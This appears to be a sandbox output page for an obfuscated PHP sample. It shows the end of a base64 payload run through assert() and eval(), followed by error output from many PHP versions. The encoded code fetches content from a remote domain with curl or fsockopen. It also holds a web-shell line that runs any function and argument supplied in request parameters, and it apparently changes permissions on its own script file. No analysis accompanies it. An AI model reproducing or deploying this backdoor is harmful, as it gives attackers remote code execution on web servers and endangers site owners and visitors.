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Y2hvICRpbmRnZXQ7Cn0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygiY3VybF9pbml0IikpIHsKJGNoID0gY3VybF9pbml0KCJodHRwOi8vIi4kZG9tYWluLiR1cmwpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCBGQUxTRSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVFJVRSk7CiRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTsKY3VybF9jbG9zZSgkY2gpOwokaW5kZ2V0ID0gJHJlc3VsdDsKZWNobyAkaW5kZ2V0Owp9IGVsc2UgewokZnAgPSBmc29ja29wZW4oJGRvbWFpbiwgODAsICRlcnJubywgJGVycnN0ciwgMzApOwppZiAoJGZwKSB7CiAgICAkb3V0ID0gIkdFVCAiLiR1cmwuIiBIVFRQLzEuMVxyXG4iOwogICAgJG91dCAuPSAiSG9zdDogIi4kZG9tYWluLiJcclxuIjsKICAgICRvdXQgLj0gIkNvbm5lY3Rpb246IENsb3NlXHJcblxyXG4iOwogICAgZndyaXRlKCRmcCwgJG91dCk7CiAgICAkcmVzcCA9ICIiOwogICAgd2hpbGUgKCFmZW9mKCRmcCkpIHsKICAgICAgICAkcmVzcCAuPSBmZ2V0cygkZnAsIDEyOCk7CiAgICB9CiAgICBmY2xvc2UoJGZwKTsKICAgIGxpc3QoJGhlYWRlciwgJGJvZHkpID0gcHJlZ19zcGxpdCgiL1xSXFIvIiwgJHJlc3AsIDIpOwogICAgJGluZGdldCA9ICRib2R5OwplY2hvICRpbmRnZXQ7Cn0KfQokX1JFUVVFU1RbJ2YnXSgkX1JFUVVFU1RbJ2MnXSk7Cn0='))"); //###==### ?>
based on qVA0G
Output for 7.2.0
Deprecated: assert(): Calling assert() with a string argument is deprecated in /in/Lf2Tp on line 3 Warning: chmod(): Operation not permitted in /in/Lf2Tp(3) : assert code(1) : eval()'d code on line 2
Process exited with code 255.
Output for 5.2.3 - 5.4.38, 5.6.28, 7.0.14 - 7.1.10
Warning: chmod(): Operation not permitted in /in/Lf2Tp(3) : assert code(1) : eval()'d code on line 2
Process exited with code 255.
Output for 5.4.39 - 5.6.21, 7.0.0 - 7.0.6
Warning: chmod(): Read-only file system in /in/Lf2Tp(3) : assert code(1) : eval()'d code on line 2
Process exited with code 255.
Output for 4.3.2 - 5.2.2
Notice: Undefined index: SCRIPT_FILENAME in /in/Lf2Tp(3) : assert code(1) : eval()'d code on line 2 Warning: chmod(): No such file or directory in /in/Lf2Tp(3) : assert code(1) : eval()'d code on line 2
Process exited with code 255.
Output for 4.3.0 - 4.3.1
Notice: Undefined index: SCRIPT_FILENAME in /in/Lf2Tp(3) : assert code(1) : eval()'d code on line 2 Warning: chmod() [http://www.php.net/function.chmod]: No such file or directory in /in/Lf2Tp(3) : assert code(1) : eval()'d code on line 2